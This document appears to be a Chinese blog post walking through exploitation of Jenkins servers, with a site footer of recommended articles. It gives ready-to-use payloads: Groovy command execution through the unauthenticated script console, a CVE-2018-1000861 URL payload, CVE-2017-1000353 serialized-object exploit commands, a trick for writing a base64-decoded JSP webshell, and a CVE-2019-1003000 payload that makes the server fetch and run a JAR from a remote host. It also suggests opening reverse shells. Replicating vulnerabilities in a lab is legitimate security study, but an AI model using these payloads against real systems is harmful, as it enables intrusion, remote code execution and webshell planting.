Jenkins漏洞利用复现
一、未授权访问
访问url:
1 | http: //172 .16.20.134:8080 /script |
命令执行
1 | println "ls -al" .execute().text |
也可以利用powershell 或者python脚本反弹shell
二、CVE-2018-1000861 远程命令执行漏洞
payload:
1 2 3 4 5 6 7 | securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript ?sandbox=true &value=public class x { public x(){ "touch /tmp/success".execute() } } |
&value=转成url编码
发送get请求:
python脚本:
1 | https: //github .com /orangetw/awesome-jenkins-rce-2019/blob/master/exp .py |
三、CVE-2017-1000353 远程代码执行
工具地址:https://github.com/vulhub/CVE-2017-1000353
https://ssd-disclosure.com/archives/3171
1 2 3 4 5 | # 生成ser java - jar CVE - 2017 - 1000353 - 1.1 - SNAPSHOT - all .jar 1.ser "touch /tmp/1.jsp" # 发送ser python exploit.py http: / / 172.16 . 20.134 : 8080 1.ser |
exploit.py这里要注释下,如果你使用代理的话可以添加,这里只是复现,用不到
另外一个linux写shell的小技巧:
1 | echo base64后的木马内容 |base64 - d > 1.jsp |
jsp生成成功
四、CVE-2019-1003000 远程代码执行漏洞
漏洞利用
1 2 3 4 5 | http: //url .com /securityRealm/user/admin/descriptorByName/org .jenkinsci.plugins.workflow.cps.CpsFlowDefinition /checkScriptCompile ?value= @GrabConfig(disableChecksums= true )%0a @GrabResolver(name= 'payload' , root= 'http://poc.com' )%0a @Grab(group= 'package' , module= 'payload' , version= '1' )%0a import Payload; |
poc.com是保存了JAR文件的服务器域名。
group、module、version的值对应了该jar文件的存放路径。
修改version的值,对应的jar包的访问路径和文件名也发生改变。
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
· 一次Java后端服务间歇性响应慢的问题排查记录
· dotnet 源代码生成器分析器入门
· ASP.NET Core 模型验证消息的本地化新姿势
· ThreeJs-16智慧城市项目(重磅以及未来发展ai)
· .NET 原生驾驭 AI 新基建实战系列(一):向量数据库的应用与畅想
· Ai满嘴顺口溜,想考研?浪费我几个小时
· Browser-use 详细介绍&使用文档
· 软件产品开发中常见的10个问题及处理方法